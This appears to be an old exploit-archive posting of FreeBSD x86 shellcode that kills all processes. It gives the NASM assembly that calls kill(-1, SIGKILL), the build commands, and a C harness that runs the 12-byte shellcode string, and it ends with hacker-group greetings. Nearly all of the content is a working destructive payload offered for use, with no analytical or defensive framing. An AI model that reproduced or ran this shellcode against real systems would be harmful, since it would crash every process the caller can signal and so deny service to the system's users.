45 lines
No EOL
908 B
Text
45 lines
No EOL
908 B
Text
***(C)oDed bY suN8Hclf***
|
|
DaRk-CodeRs Group productions, kid
|
|
[FreeBSD x86 kill all procesess 12 bytes shellcode]
|
|
|
|
|
|
Compile:
|
|
nasm -f elf code.asm
|
|
ld -e _start -o code code.o
|
|
|
|
Assembly code:
|
|
---------------------code.asm-------------------
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
xor eax, eax
|
|
push byte 9 ; SIGKILL
|
|
dec eax
|
|
push eax ; -1 (0xffffffff)
|
|
inc eax
|
|
mov al, 37 ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
|
|
push eax
|
|
int 0x80
|
|
---------------------code.asm-------------------
|
|
|
|
And C code:
|
|
---------------------code.c---------------------
|
|
#include <stdio.h>
|
|
|
|
char shellcode[]=
|
|
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";
|
|
|
|
int main()
|
|
{
|
|
int (*func)();
|
|
func=(int (*)())shellcode;
|
|
(int)(*func)();
|
|
}
|
|
---------------------code.c---------------------
|
|
|
|
|
|
Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
|
|
Visit : www.dark-coders.pl
|
|
|
|
# milw0rm.com [2008-09-09] |